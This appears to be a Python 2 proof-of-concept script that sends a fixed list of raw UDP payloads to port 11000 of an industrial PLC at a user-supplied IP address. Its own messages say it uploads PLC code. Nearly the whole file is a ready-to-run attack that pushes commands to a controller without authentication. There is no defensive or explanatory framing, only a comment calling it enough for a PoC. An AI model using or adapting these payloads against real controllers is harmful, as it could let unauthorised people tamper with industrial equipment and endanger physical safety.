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History

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#!/usr/bin/python
# -*- coding:utf-8 -*-
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#author: young time:2018/3/16
import sys
import argparse
import socket
import time

TIMEOUT = 2
PORT = 11000

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-ip', metavar='<ip addr>', help='IP address', required=True)
    args = parser.parse_args()
    return args

payload_List = [
    '\x0d\x00\x0b\xff\x12\x00\x0a\x00\x6b\x00\xf8\x2a\x01\x00\x00\x30\x30',
    '\x0d\x00\xe7\x1c\x12\x00\x0b\x00\xf8\x2a\xf8\x2a\x02\x00\x00\x30\x30',
    '\x0d\x00\xe0\xd9\x11\x00\x0c\x00\xf8\x2a\x6b\x00\x81\x00\x00\x00',
    '\x0d\x00\x3d\x51\x14\x00\x0d\x00\x6b\x00\xf8\x2a\x01\x00\x00\x03\x00\x00',
    '\x0d\x00\x11\xdf\x14\x00\x0e\x00\xf8\x2a\x26\x27\x00\x00\x00\x30\x30\x8d\x00',
    '\x0d\x00\x10\x8d\x9f\x00\x0f\x00\x26\x27\x00\x00\x8d\x00\x30\x30\x11\x00\x78\x00\x00\x00\x00\x00\x00\x00\x00',
    '\x0d\x00\x2a\x38\x10\x02\x10\x00\x25\x27\xf8\x2a\x00\x00\x82\xa9\x00\xff\xff\xff\x00\xff\xff\x05\x00\x00\x01\x00\x00',
    '\x0d\x00\xa5\x03\x16\x00\x11\x00\xf8\x2a\xf8\x2a\x04\x00\x00\x00\x01\x00\x00\x00',
    '\x0d\x00\x41\x31\x11\x00\x12\x00\xf8\x2a\x6b\x00\x81\x00\x00\x01'
]

# Send payload to the PLC and return the response
def connection_plc(ip, payload_List, t_sleep=0):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        print "=====n"

        for payload in payload_List:
            s.sendto(payload,(ip,PORT))
            print(payload)
            time.sleep(0.2)

        # Silly check. Enough for the Poc
    except Exception as e:
        print "[-] Something was wrong with %s:%d. Exception: %s" % (ip, PORT, e)
        sys.exit(1)
    s.close()
    time.sleep(t_sleep)
    return

def main():
    print('=====start upload PLC code!!!=====')
    arg = get_args()
    connection_plc(arg.ip,payload_List)
    print('=====upload PLC code success!!!=====')

if __name__ == '__main__':
    main()

```

